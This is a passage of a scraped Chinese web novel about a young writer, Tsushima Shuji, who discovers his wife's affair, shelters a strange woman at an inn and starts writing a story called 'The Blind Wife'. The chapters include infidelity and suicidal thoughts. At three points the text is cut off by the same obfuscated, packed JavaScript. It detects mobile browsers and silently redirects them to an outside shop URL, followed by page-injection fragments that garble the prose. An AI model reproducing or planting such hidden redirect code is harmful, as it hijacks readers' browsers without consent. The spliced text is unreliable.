;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051893|194812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我没法证明我自己的无辜,提高些警惕心总没错。” 黑发的女人垂眸,眼皮放松,从他的方向看去,眉眼间带着深邃的放松和洒脱之情,面对他的羞窘竟然坦然得让他生气。 “倒是我,贸然,因为我让您陷入这种危险的境地,真是对不起。” 他一时之间竟然分不清这是讽刺,还是真正的担心。 他自己也明白,这种先把人推开,然后再来关心的行为有多诡异,他已经来不及顾及这种事情了,如果真的放她离开的话,他才会后悔不及吧。 夜风里,穿着单薄的女人颤抖了一下,小声打了两个喷嚏。 “阿嚏,阿嚏!” 津岛修治忍不住关心她:“没事吧?” “没事。” 女人仰头,用清凌凌的黑眸看他一眼,一如一尊玉雕般,看上去清冷得像一道高高在上的月光。 虽无言语,可颊边因咳嗽而泛起的淡淡殷红却如此楚楚可怜。 随后那毫不犹豫转身离开的步子却如此决心,万般的意志便也如轻盈的泡沫般一触即破,不待风吹,自己便先溃不成兵了。 津岛修治简直像溃不成兵一样的,长叹一声,求饶似的小声道: “别拒绝了,我是自愿的,自愿送您回家,我发誓,这样总行了吧?” 回家? 她哪有家可回? 况且——她可是能清楚感觉到,从他身上传来的挽留之意。 次木爱摇摇头:“感谢,可惜我没什么地方可去,这样讲,我也不得不婉拒您的好意。” “没有地方……可去?” “等、等等,先别走,找个地方过一晚吧。” 在还没反应过来之前,挽留的话已经脱口而出了。 还没等他懊恼,被邀请的女人倒是拒绝得干脆。 “嗯?不了,” 她摇头,神色善解人意。 “本来你帮了我已是仁至义尽,天色也不早了,津岛先生还是回家去吧,别耽误了您的时间。” “没地方可去?” “这么晚了,你一个人……” 他烫到似的后退一步,又一下子上前伸手,又缩回去,真个人显得不安又躁动。 女人没在乎他的小动作,只是似乎铁了心要离开。 津岛修治那股面对女人的头疼劲又出来了。 不过这次不一样,她和宅子里那些和他撒娇讨饶大倒苦水的女仆们不同,对他的容色并无什么流连之处。 往常那些卖卖痴就能应付过去的小手段对上她,简直和鸡蛋碰上铁石心肠的石头一样,撞个头破血流也动摇不得一分。 可就这么眼睁睁看她衣衫单薄地在寒夜里渐渐走远,他也绝对不肯的。 虽然他们仅有一面之缘,但这一面的震撼绝对不是轻易可以诉说的。 内心深处,他仍旧对妻子的背叛惶惑不解,但此时,如何挽留面前这仿若从他书中走出的魔性的女人才是最重要的事。 “好了好了,是我的错,我不该那么说,对不起对不起,请务必给我一个弥补我失言之错的机会!” 津岛修治废了九牛二虎之力才劝得她回心转意,见她总算又露出了温和的笑容,顿时心中松了一大口气,有种被死刑宽恕的救赎感。 他尴尬地摸了摸口袋,掏出钱包,不敢看她:“去那边的旅馆住一晚吧,今天我本来就不回家,正好需要住旅馆。” “真的?不回家吗?” 女人的余光在他无名指的戒指上一闪而过,津岛修治实在不知道该如何向她解释这件羞耻的事,只得含含糊糊应付了过去。 “嗯,反正……算了,走吧。” 反正,撞破了妻子秘密的他,还没想好怎么面对她。 如果不是见到了身陷囹圄的她的话,今晚他可能……可能会跳进公园的河里了却这让人羞耻的一生! 4. 津岛修治其人 津岛修治。 笔名上司几太(音同‘殉情未遂’)。 他出生在青森县的金木村,父亲,津岛源右卫门,任职众议院议员,同时也是贵族院议员。 津岛家在青森当地,堪称赫赫有名的勋贵人家。 津岛修治作为津岛家的第三个儿子,自幼受宠,实实在在过了一个毫无物质烦恼的童年。 从小到大,津岛修治都是别人眼里的“怪胎”,虽然长相精致可爱,但举动却怪异让人难以理解。 他的父亲非常失望,因为他像个胆小的老鼠一样下意识讨好别人,毫无主见,听到稍微严厉一点的话都会瑟瑟发抖,一点也不像津岛家的孩子。 一旦别人对他展现些什么期望,他哪怕为难自己,也要竭尽全力完成对方的期望。 懦弱,怪异,行为古怪,只要和他接触过,就没有人不觉得他难以理解。 津岛修治就在这种评价中长大。 如果老老实实按照家里人的建议,上学,毕业,工作,按部就班,22岁的津岛修治,此时此刻应该过着让大多数人羡慕的人生。 但最后,他最终还是没能成为一个,世俗意义上的,让人满意的——“成功人士”。 没有成为政治家,也没对社会做出多大贡献。 反倒凭借一篇荒诞诡谲《士兵之死》扬名一时,成了个不大不小的作家。 虽然惶恐于自己的文字如何能得到别人的喜欢,但总算,津岛修治有了一份稳定的工作,结识了温柔知性的编辑妻子,稍稍融入了“普通人”的生活。 就这样,作家津岛修治度过了普普通通的22年,他本以为会这样普普通通的度过余下人生的所有日子—— 直到命运的洪流毫不留情地将他折断。 —— 11月19日,秋冬相交之际。 被卡文折磨了两个月的津岛修治原本想在编辑部加班,但是手机很久以前设置的生日闹钟在深夜把他惊醒。 11月19日,是妻子的22岁生日。 鉴于他的确不算个称职的丈夫,生性胆小,不善言辞,最近更是因为卡文而无法负担家庭重任,一直都是由妻子忙里忙外。 所以,在这颇有纪念意义的一天,他突发奇想拎着蛋糕回了家。 也是在这天。 他遭受了此生最痛的背叛。 脚步,停留在一门之隔的客厅。 门后,传出了女人的娇声,和男人的粗喘。 “啊,贤一,不要啦,那里不行,好痒。” “啧,不行?我看你不是挺喜欢的吗?抱我抱得这么紧,怎么,你那窝囊老公没满足你?嗯?” “诶哟,别提他了,扫兴,我手上就那么几个作者,名气最大的就是他。” 肌肤白皙,姿态亲昵的女人娇笑着点了点身前男人的鼻尖,抱怨道: “现在他又不知道犯什么病,说什么没有灵感,写不出来。烦死了,你又不是不知道,我嫁给他也只是因为他姓津岛,现在他连一个字都写不出来,我还要哄他,要不是他哥给钱,我才懒得理他……真是的,嘶——轻点~” “除了那么一张脸之外,他简直毫无优点!和贤一你没得比。” “啧,小婊i子,真会哄人,过来。” “讨厌——” 留着灯的昏黄玄关。 却不是为了他。 他的编辑,唯一理解他的灵魂知己,田仲久留美。 曾经发誓,无论贫穷还是富贵,疾病或者健康,都会陪伴在彼此身边,在神的见证下,交换戒指,发下誓言,许诺要彼此陪伴,互相搀扶度过一生的。 他最爱的妻子。 此时此刻,在他们共同的房间,他们曾同床共枕的床上。 她不断呻吟,白花花的身体不断扭动,在水谷贤一,那可恶的富二代身下,如同一条水蛇般扭动。 “呕——” 心神俱震,胃部翻腾,津岛修治捂着嘴,转身逃跑了。 在足以摧毁他的生活的冲击面前,苍白的青年唯一能做的,就是捂上耳朵,转身逃跑,逃离那两具让人恶心的,白花花的躯体。 对人类的恐惧又一次席卷了他的心。 多可怕啊! 面对可怕的,对他尊严的侵i犯,他能想到的竟然是成全两个人,让他们得到幸福! 于是他逃跑了。 不知不觉,他跑到了家附近的公园,因为无家可归,所以只能像只流浪狗一样,狼狈地坐在河边发呆,脑袋里空空如也。 在粼粼的河边回忆自己的一生的时候,就像被命运指引了一样,他的余光突然瞥到了一个奇怪的女人。 窈窕的背影,长及后背的黑发,脊背挺得直直的,像一根长得笔直笔直的小树苗。 只需一个背影,一瞬间,他的世界便熊熊燃烧起来! 他的生活彻底跌入谷底,然而神明竟然不允许他彻底地放弃这污浊的生活吗?! 津岛修治恍惚地抬起脚。 “我不是风俗女。” 从见到她的背影,听到她的声音的那一刻开始,他如遭雷击。 是梦? 亦或是一个玩笑? 青年的额头上冒出冷汗。 不然为什么,他见到了自己笔下的主角的妻子,活生生地站在他面前? 如果这不是上帝和他开了一个玩笑的话,为什么书中单薄的形象会变成一个活生生的人? 津岛修治极力把自己藏住,极力克制着自己眩晕的本能。 年轻的作家突遭大难,又遇到了超脱常识的灵异事件,一惊一吓之下,差点昏倒在地。 后来发生的一切,都犹如幻梦般不真切。 他用一种自己都难以相信的英勇姿态插i入其中,挡在鬼魅般的女人和混混之间。 真真切切用自己的手握住她温暖的手腕! 他的胆怯,懦弱,恐惧,在女人那张和想象完全重合的,鬼魅般的脸中完全消融了。 世界上怎会存在这么丰姿冶丽的女人? 就像女主角从他的书里活生生走出来,站在他面前对他轻笑一样! 这世间的女人,大多都让他恐惧。 不论是围绕着他的女佣,经常塞他名片的女人,亦或者给他寄信的狂热女粉。 她们简直像生活在这个星球上的另一个物种一样,不知道为什么哭,也不知道为什么笑,有时候对他极尽痴缠,有时候又冷冰冰得让他惶恐不安。 他在和她们交往的时候,往往怀着莫大的惶恐。生怕自己哪一点做得不好,让这些看上去精致可爱的存在心烦气躁,从而用她们最擅长的,无法防卫的甜言蜜语的毒药毒杀了他 和女人待在一起,往往让他筋疲力尽。 然而今天,他遇到了一个颠覆了他以往对女人所有印象的女人。 “他们走了吗?” 她的黑色眼瞳,在霓虹灯下闪烁的光晕。 看着他的时候简直温柔得让人不敢直视。 她的嘴唇,一张一合,带着笑意。 那笑意简直带着点可恶的嘲讽,自己的却一反常态没有感到害怕。 是因为她很美? 还是因为她几乎和自己笔下的女主角一模一样? 津岛修治不知道。 他只是愣愣地问道: “你是我的粉丝吗?” 他不知道她是谁,他只知道,世界再也不同了。 暧昧的紫红色霓虹灯光照在她的脸上,流畅的脸型,狭长上挑的眼睛,黑白分明,高挺的鼻梁,嫣红的薄唇开合的时候,他的眼睛就离不开了。 灿烂的光辉照亮了一切。 就算失去记忆,轮回转世,也会重蹈覆辙愿意和她再次相遇的,魔性的魅力。 —— …… 虽然旅馆位于无人问津的地方,但基础设施一应俱全。 “欢迎入住。” 前台的招待扬起职业微笑,接过津岛修治的证件和钱,礼貌问道: “您好,先生,是开两间房,对吧?” “嗯……嗯。” 前台看他不自在的样子,又看了看跟在他身后,穿着单薄,容貌姣美,一手抓着他后背,一手抱着书,好奇地左右观望的女子。 男帅女美,非常般配。 前台不知为何,笑得意味深长。 那笑容让津岛修治升起一股不好的预感。 “您好,先生,请出示一下这位女士的身份证明。” “……” “……?” 津岛修治回头询问。 次木爱歪头,泼墨般的长发从肩头滑落。 鉴于有前车之鉴,他小心翼翼地伸手:“证件?” “啊……证件啊……” 次木爱不确定地想着。 那种东西,早就已经扔到垃圾桶里了——现在大概随着垃圾运收车一起运到垃圾回收场,一把火烧成灰烬了吧。 “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051894|194812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 津岛修治扶额,递上自己的证件。他又有什么办法呢? 左右不过是退一步再退一步罢了。 “开一间房。” “好嘞,您的钥匙。” 前台火速拿出钥匙放在桌面上,连珠炮一样,一口气回答道。 “请拿好,房间203,上楼右拐第三间,热水和网络免费,洗漱用品都有,需要什么可以拨打前台电话。” “床头柜还有免费的……嗯,您懂的。” 懂什么? 见男人拿忧郁多情的眼睛瞪她,前台倒是乐得开心。 不得不说,和帅哥开玩笑倒是很有趣,稍微覆盖了她值夜班的怨气。 次木爱没听他们的对话,食指穿过磨损钥匙的铁环,把它勾到手心掂了掂。 “唔……我倒是第一次和别人一起住宾馆呢……” 歪头,看着一下子退了三米远的瘦削青年,她疑惑地甩了甩钥匙:“不上去吗?” 离门那么近,不冷吗? “你……确定吗?” 门边的青年眯起鸢色的眼睛,那柔弱的神色中竟然掺杂了一些隐隐约约的,极有压迫力的神色。 他看上去不像个懦弱的上班族。 某种神秘的,淤泥一样黑暗的特质,在他瘦削的身体中苏醒了。 就连一直促狭的前台都愣住了,手指微微颤抖,浑身冰冷,瞪大眼睛,一动也不能动。 刺痛的第六感让她几乎想逃跑。 咦? 次木爱惊讶地抬起眼皮。 她感受到了一股愉悦的水流流进她心里。 阳光下晒的软软的棉花,或者堆在罐子里甜蜜的糖,这种甜蜜的,珍贵的,健康的,积极的感情,缓缓勃发。 这不是经受连累才产生的感情,这是她——无疑,这是她当下,现在,自然而然又发自内心的快乐。 她不知道发生了什么—— 似乎他的痛苦倒成了融化冰川的水流,或者翻越峭壁的绳子之类的东西。 她从中获益,当然,建立在他的痛苦上。 有趣。 有些雀跃的女人忍不住抓紧了怀里的书。 这种表现被前台误认成了紧张。 次木爱甚至能看到那个脸上挂着黑眼圈的女人朝她打信号,做了个报警的手势。 她稍微摇了摇头。 事情变得有趣起来了。 如果这个孩子不像表面看上去那么固执,懦弱,不可理喻的话…… 或许,她还真可以从他开始,慢慢建立自己的家庭。 他前进了两步,高大的身高带来极大的压迫感。逼近时,他看着她的脸,突然打了个寒战,泄气一般往后退。 天呐,他都干了些什么? “不,不,你看我,外面风实在是太冷了,吹得我有些头昏。” 他讪笑道, “忘了我刚才说的胡话吧,希望我的胡言乱语没有吓到你。” 他竭力表现得正常,仿佛刚才反复无常的人只是短暂降临在他身上的魔鬼一样。 前台瑟瑟不定的目光揭露了他的伪装。 津岛修治穿着单薄的衬衫,回想起妻子赤i裸的肉i体,忍不住发起抖来。 但和他想象中的不一样的是,她并没有对他的突然泛滥表现出任何恐惧的心理。 一切都静悄悄的,她像一只伶仃的幽魂一般,依靠在掉漆的墙上,深邃的黑眼睛,一眨不眨的盯着他,从中似乎能窥视到一些闪烁的情绪。 泛黄的吊顶灯光悬在他们头上,几乎像整个大厅笼落成他们的舞台。 她轻巧地一挺脊背,如同一尾灵活的鱼,用网纱似的尾巴,轻轻拂过他的手臂。 次木爱叹了口气,前进两步,展开双臂,结结实实地抱住了他。 “不冷吗?” 她拍了拍他瘦瘦的后背,指尖在他的脊骨上摸了摸,柔和地叹息: “去房间里洗个热水澡吧。” “……” 被抱住的津岛修治颤抖了一下,僵硬地回抱住怀里的人,脑海中却不住回想半个小时前,透过门缝见到的景色。 记忆里交缠的身体互相扭动,化作魔鬼的低语。 “好……” 俊秀的青年勾起嘴角,像个被打碎,又用胶水黏回去的陶瓷人偶。 勉强维持平常的表面,却又隐隐约约透露着破碎过的纹裂,那响彻心底清脆的声音,昭示它平静表象下不平静的内里。 5. 《盲妻》 咔哒。 白炽灯被点亮,略微发黄的灯光照亮了小小的屋子。 麻雀虽小,五脏俱全。 虽然基础设施看上去有些年头,床头柜掉漆,地毯透露着洗太多遍后陈旧的白斑,就连深绿色的墙纸,也有修补过的痕迹,但整体看上去还算规整。 一张大床摆在正中央。 洁白的被子,柔软洁白,整齐铺开,在灯光下泛着温暖的光晕,看上去是这个房间里最新的东西。 终于,奔波了一个晚上,总算有个地方好好避避风雨了。 次木爱坐在床尾,感慨地摆弄着摆在柜头的大屁股电视,感慨这个非常有时代特色的产物,不知道按到了哪个按键,它突然亮了起来。 就连节目也透露着一股旧时代的感觉。 “阿嚏,阿嚏!” 呆呆盯着天花板的次木爱就狠狠地打了两个喷嚏。 眼圈微红,女子摸了摸脸颊,微微皱眉 忧愁的样子看上去就像倒影在水里的月亮。 脆弱,清冷,遗世独立,和她艳丽灼目的外表不说完全相反,至少也天差地别。 小小的房子内腾起温暖的薄雾,她一言不发地卷过被子,朝站在门边如临大敌的青年投去疑惑的目光。 “脸有点热。” 津岛修治走到床前,垂眸,伸出手,用手背上一点点的皮肤,吝啬地碰了碰她的额头。 能清晰感觉从她脸上传出的热度,一浪一浪打在自己的手背上。 “穿太少了,下次……” 说到一半,青年抿唇。 “下次”? “没关系,只是有点着凉,” 次木爱倒是不怎么在意,挥开他的手,“洗个热水澡就好了。” “我先去洗咯,帮我拿一下浴巾。” 纤长的腿凌空一蹬,她坐了起来,额头贴了贴他的,长发如墨般披散在他的肩头,带着灼热的温度,她笑了笑,细长的眼角弯弯。 “睡一觉吧,亲爱的。” 一觉起来什么都会好的,她没什么可安慰他的。 论悲惨的话,她能讲出来的故事没准比他能赚眼泪一万倍呢。 放开呆愣愣的男人,次木爱哼着不知名的小曲,打开了浴室的门。 “诶呀,水好凉!好凉好凉!”浴室里传出惊叫。 “你倒是把热水龙头打开啊!” 顶淋头打开,热水如瀑布般涌下。 “嘶——” 穿着西装,从头淋到尾,津岛修治被烫得抖了一下,更不懂女人这种生物在想什么了。 * 因为被从头到尾先淋湿了,所以先洗了澡的津岛修治坐在床头双腿交叠,指尖明灭不定,袅袅烟雾升起。 这房间实在是太小了,小到浴室和床仅仅只有一墙磨砂玻璃之隔。 躺在床上的时候,身体甚至能直接感受到从浴室里直接传来的热量。 青年身边的女人其实并不少。 因为他拥有一张很精致的脸,和长长的睫毛,又湿润又忧郁的眼睛。 当女人被这样一双湿润的眼睛注视的时候,心中不免同样下起一场湿润的雨。 一个作家,总让人疑心他有什么巧思。 人们总一厢情愿把他们对美,对智慧的幻想强行加注于他身上,就好像一个作家生来就是作家。 他的脑袋从羊水里拿出来的时候,思考的就自然而然应该是生命与死亡,宇宙和人性,哲学和美学,他发出的第一声嚎哭,想必也是为了世间受苦的芸芸众生而感同身受吧。 俊秀的青年轻轻张开嘴唇,含入雪白的烟。 长而卷翘的睫毛,苍白透着青筋的皮肤,烟雾模糊了他深陷的眼窝,这种精致的绮丽超越了性别的分隔。 至少,此时此刻,倒映着烟雾的鸢眸胜过生命于死亡,胜过宇宙和人形,胜过哲学,超脱美学。 这就是津岛修治。 总有人被他绮丽的外皮吸引,却觉得他怯弱的性格、擅长逃避、鸢色眼睛里几乎把人压垮的忧郁愁闷可恨至极。 喀拉—— 生锈的推拉门划过滑轨,发出抱怨的声音,惊醒了吞云吐雾的青年。 “呼,果然,洗个热水澡舒服多了。” 女子顶着湿漉漉的头发走了出来,甩了甩头发,脸上是纯粹的满足,上扬的眼角微微眯起,有点像吃饱喝足后晒太阳的猫。 “哦,在抽烟?” 指尖一空,缥缈的烟雾被夺走。 下一秒,身边一陷,淡淡的沐浴液香气混着烟气钻入鼻腔。 “呼——” 她晃了晃指尖的烟,几乎要露出一个满足的笑容了。 发生的事情太多,真让人应接不暇。连一支烟的时间都空不出来,真是的。 烟瘾这东西就是这样。 在生命危险面前不值一提,但要是戒掉也要吃一番苦头呢。 人生苦短,何必自讨苦吃呢? “分我半只,没关系吧?” “……没事。” 津岛修治抽了抽嘴角,你都抽上了,我还有什么好说的。 吸烟虽然不好,但一个成年人吸烟和一个青少年吸烟,感觉是不一样的。 烟雾缭绕,她的情绪浓如墨,黑色的眸子里晦暗无光。 津岛修治见过很多人抽烟的样子,同行作家,校对,编辑,出版社的社长,电车上擦肩而过的陌生人…… 但没有一个人能抽烟抽出这种韵味。 她并非不狼狈,也并非不疲惫,成年人的迫不得已在她身上体现得淋漓尽致,但疲惫和颓废让她看上去有种…… 超脱常人的魅力。 黑的眼,淡粉的唇。 和他想象中完全一致的,主角那美丽的妻子完全一致的,魔性的样貌。 烟雾缭绕中,他有些恍惚,从缝隙里窥见了这个美丽女人内心空芜的一角,他心照不宣地放任她享受这安宁的乐趣,看她精致绮丽的眼角泛起一点点疲惫的红。 大脑中的某根弦突然被拨动,灵思泉涌—— “我知道了,我知道了!” 穿着浴衣的青年连滚带爬滚下床,睁大眼睛,手舞足蹈,神色狂喜,抓起床头柜上的固定电话拨通。 “您好,这里是前台。请问有什么需要吗?” “有纸和笔吗?我现在就要,尽快!” * 【小市秀树是个可怜的盲人,瞎子,生下来就看不见。】 【如果,他曾经见过却又失去光明的话,可能还会对别人的闲言碎语生出些许怨怼,但他不是个怨天尤人的人,面对别人的嘲笑,也只是忧郁地笑笑,他心中从来没有放弃过自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051895|194812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。】 【小市家,就剩下小市秀树一个人,生养他的父母,看着他结婚后,就好像完成了什么任务似的,放心地去世了,临走之前,还抓着妻子的手,说些‘加奈子,秀树就交给你了’这样的怪话。】 【或许是这个原因,加奈子一直对他小心翼翼,其中最让人不能忍受的,就是像个不懂事的孩子一样对待他的态度,简直不像妻子。】 俊秀的男人趴在床上,神色认真,宽大的手指捏着铅笔,一行又一行文字从他的指尖流露出来。 次木爱好奇地凑到他脑袋边。她知道他在干什么。 他在写文章。 那篇让他痛苦不已,灵感枯竭,文感尽失的文章。 按照他的自传来讲,转折点就发生在他写文章的这一年,也就是说…… 他今年二十二岁,即将从一个遵纪守法的普通人,突兀地变成杀人无数的教唆犯。 为什么? 次木爱不是作家,根本连文学作品都没怎么读过。 自杀前涉猎最深的就是美妆杂志和各种各样的网络小说。 所以,她不能理解,一个作家不能写出东西时的痛苦。 这无异于碾碎钢琴家的手指,毁掉演说家的喉咙,摧毁他们赖以生存的依靠,摧毁他们立身之本。 其中犹以作家为最。 演说家毁了喉咙,钢琴家碎了手指,观众还会原谅他们——没办法啊,治不好就是治不好,这也不是他们的错。 但是一个作家,无病无灾,身体健康,突然说自己一个字都写不出来一个字…… 怎么会呢? 一个人好好的,结果却什么都写不出来了? 然而事实就是,写不出来,就是写不出来,没有为什么。 写不出来文字,对一个作家而言,无异于世界毁灭。 然而,在命运变数的扰动下,一篇本不应该存于世间的文章正在缓缓孕育。 一个又一个魔性的字眼,从他的指尖缓缓流淌而出,如同一首和谐的交响乐,在她不能触及的文字世界里熠熠生辉。 【小市秀树找了份教书的工作,每天工作很刻苦,他看不见,但幸好这个社会对盲人很宽容,虽然这种宽容有时候让他烦闷无比,总归来说,日子还过得去。】 【有一天,这个俊秀的盲人教师突然听到了学生们的议论。】 【是他的学生,浅海纯子。她是个好学生,每天总是第一个到教室,第一个和他这个盲老师问好,好心地扶着他的胳膊避开门槛,再把他送到办公的位置。】 【此刻,他站在楼梯阴暗的拐角,伸长了耳朵。】 【楼梯下,阳光开朗的女学生们欢乐地窃窃私语。】 【“秀树老师长得好帅啊,我很喜欢他呢。”】 【“论起长相,整个学校也没有一个能超过秀树老师的了呀,不论学生还是老师,他真的好帅。”】 【“嗯……但是秀树老师有妻子了吧?”】 沉浸于写作的男人突然停笔了,他一张精致的脸陷入了痛苦之中,眉头紧蹙,咬着嘴唇,长而纤细的睫毛剧烈地颤抖,美得惊人。 可以说,没人能对这样的津岛修治无动于衷。 “然后呢?” 然而次木爱丢掉烟头,只是兴致勃勃地追问后续,并不过分在乎他秀美而痛苦的脸。 6. 一炮而红 她对这个故事很感兴趣。 他的自传里对这个故事并没有过多的描述,只有一句“无法动笔的滞涩之故事”草草了结完事,似乎没接着写下去了。 她很想知道,后面到底发生了什么。 因为这是个真的很有趣的故事啊,津岛修治作为一个作家,故事写得倒不错。 她有种现在去翻笔记,把他的自传看完的冲动。 但是鉴于目前他本人还在,所以次木爱也忍下了这股突如其来的冲动。 “然后呢?然后呢?” 她像个喋喋不修的孩子一样不停地追问,丝毫没有考虑过他的心情。 “我……我没办法……” 一声气音,简直像从牙缝里挤出来的似的。 津岛修治无力地松开手中的笔,额头汗湿,蜷曲的黑色头发紧紧贴在额头,衬得他的眼神恶毒如蛇蝎。 他没办法写下去了! 一个妻子…… 一个妻子! 只要一提起【妻子】这个词,他的一颗心沉浸于可怕的恨意和恐惧中。 可以说,这个词已经成为了他心中的某种“禁忌”。 他已经没办法再写下去了! 不,他没有理由再活下去了! 妻子出轨了别人,他应该愤怒,冲进去,用拳头狠狠打在水谷贤一洋洋得意的脸上,最好把他的罪恶宣扬得尽人皆知,所有人都来嘲笑这对奸夫□□才好! 可是他只想躲避!躲开那个辜负了他信任的女人,躲到谁也不认识的地方去。 或者,死掉? 投入死亡的怀抱也可以,只要让他离开这里,反正他栖身之地被毁灭了,干脆毁灭得更彻底,更彻底一点! “没办法,已经没办法,走投无路了啊!” 他突然大叫一声,抓起地上的纸,把它们狠狠揉成一团,用尽全身力气掷到墙上! 就好像墙上长着水谷贤一的脸似的。 “我自己也没办法啊!” 他的愤怒如此炽热,以至于像爆发的恒星一样。 千万光年外的次木爱也能透过他紧握的双拳窥见宣彻终末的刺眼强光。 很漂亮的愤怒。 辛辣刺激的味道就像古怪的香辛料,莫名上瘾。 ……那种感觉又来了。 黑发的女子睁着眼睛,抱着膝盖坐在发狂的青年身边。 丝丝缕缕的甜蜜,快乐,就像雪花一样,一点点落在她的皮肤上,让人上瘾。 她看着他酣畅淋漓地写,歇斯底里地怒吼,大叫,把自己写的东西全都揉成一团,再充满恨意地丢出去,厌恶的眼神就像甩一团垃圾似的。 她静静地看着一切,有点新奇,有点在意,。 像个事不关己,严苛刁钻的观众。 这高高在上的姿态很快就惹来了迁怒。 “为什么这么看我?你也认为我毫无魅力,干瘪无趣,如同一只滑稽的猴子吗?” 青年喘着粗气,居高临下地怒视着他。 高大的体型对她造成了极大的压迫感。 火星,愤怒悲哀的火星从鸢色的眸子中闪过,他处于一种狂乱的状态,满脸愤怒,不屑,和一点点鄙视。 次木爱眨眨眼。 她不知道他在鄙视她什么。 不过她觉得他的眼睛很好看,非常、非常美。 或许连他自己都没发现。 他愤怒的时候,那双鸢色的眸子最深处,沉寂着的泥潭翻涌,某种玄之又玄的黑暗气息泄露,次木爱深吸一口气,从里面闻到了一丝甜蜜的味道。 ——高兴的味道。 一层层剥开他怯弱、无能、胆小、恐惧的外表,藏在内心的兽,竟然在隐秘地窃喜吗? 那么,她懂了。 他果然不是什么弱小之辈……他的心里,滚烫不休地翻腾着火焰,啃噬他的心,让他辗转反侧,以至于蒙上了胆小的外表。 次木爱睁着一双黑色的眼睛看着他,什么也没说,只是伸出赤i裸而柔软的双臂。 邀请就是祈求,抗拒,其实是在等待主动接近。 这种平静到就算世界明天就毁灭也毫不在乎的态度狠狠震慑了发怒的青年。 她敞开了怀抱,连他都吃了一惊。 面对一个面目可憎,愤世嫉俗的男人,倘若一个人还有正常的神智的话一定会明智地远远避开吧? 她在想什么呢? 她为什么能如此安然,冷静得像永不褪色的月亮? 她一定是个妖怪吧?他快要摧毁理智的愤怒,在她面前和微风拂面竟然也没什么区别,只有妖怪才能做到吧? 这对色厉内荏的津岛修治来说是不可理解的事情。有一瞬间,他竟然深恨她这种永不动摇的冷漠。 他心中拼命生长的怒火也犹如他本人一样,面对她宽容的怀抱,胆怯懦弱地后退了。 她在策划什么? 被名为“次木爱”美丽而寂然的灵魂捕获了,裁剪修整,沦为了她怀抱中瑟瑟发抖的影子。 可是…… 一个拥抱? 对于一个擅长逃避的人来说,这太有诱惑力了。 无论在外面经历了怎样的风雨,当你垂下头的时候,她总会为你撑起一个遮蔽悲伤与愤怒的角落,这里风平浪静,让人安心。 “我……” 黑发的青年呼吸渐缓,疲惫而愚信,他一甩手,把所有手稿扫到床下,试图像平常一样闪烁其词,蒙混过关,用漂亮精致的脸蛋糊弄过去。 “对不起,对不起……” 她只是张开双臂,静静看着他。 “我……” 他还能怎么逃避呢? 还能逃到哪里去呢? 哗啦啦飞舞的稿纸里,两个人彼此靠近,一颗心平静地陷入安稳。 深陷在柔软的床单里,他们的头埋在枕头里,深陷于柔软温暖的天地。 心脏是一块敏i感的肌肉。 用力拥抱的时候会收缩得更剧烈,如果用力到连心脏也感觉痛,泵痛的血管产生幻觉,脑袋清醒着沉沦。 被紧紧地抱在怀里,原来是这种感觉啊…… 躺在柔软的胳膊上,津岛修治第一次不再惶恐。 不需要想方设法讨好,也不用避开,奉承,讨好她,不像其他的女人一样阴晴不定,也不用他堆起笑容讨好。 此生,他第一次见到了属于女性的美丽。 女人的美,不在于丰腴的身体,雪白的肌肤,充盈香气的发丝。 真正的,属于女人的美,本该在他小时候就该认识到的—— 令人目眩神迷的优雅宽容的心。 躺在她的怀里的时候,她稍许侧过脸来,眉目间略过一丝笑意。 这是什么感觉呢? 或许因为疲惫,或许因为事情已经糟糕的不能再糟糕的程度,彻底击败了他。 他那颗紧绷着的心总算放松了,大起大落后的睡意如潮水般涌来。 “要睡了吗?” 昏昏沉沉的青年低声模糊地嘟囔一声,她没太听清楚。 次木爱也不在意,下巴抵在毛茸茸的头上,空闲的手翻阅着放在床头的书。 一边慢悠悠呼吸着,女子一边小声地讲故事,声音柔和得像从天边飘来的天使的合唱: “从前,有个老渔夫,他一天只网四网鱼,但是有一天,他突然觉得网很重,于是他从船上跳了下去,捞起来一个黄铜瓶子……” “黄铜瓶子雕刻繁复的花纹,錾着金的裙摆和银的水流,红宝石的眼和绿松的手把。‘啊,真好运!我竟然捡到这么贵的一个瓶子!’老渔夫高兴得双脸通红,活像太阳下晒得通红的鲤鱼……” 第一个不用凭借安眠药和酒精睡去的晚上。 津岛修治光怪陆离的梦里,河流粼粼,倒映霓虹灯光。 …… …… 又是这个梦。 他呆呆地坐在河边,只是低头,看着脚下的河水匆忙忙溜走。 这儿是哪儿? 他并不知道。 他没见到过这么漂亮宽阔的河,也没到过这么奢华靓丽的城市,就连晚上也被灯光照得像白天一样明亮。 津岛修治看了看自己披着的黑色大衣,又伸出手,看了看自己缠满绷带的双手,已经稀松平常了。 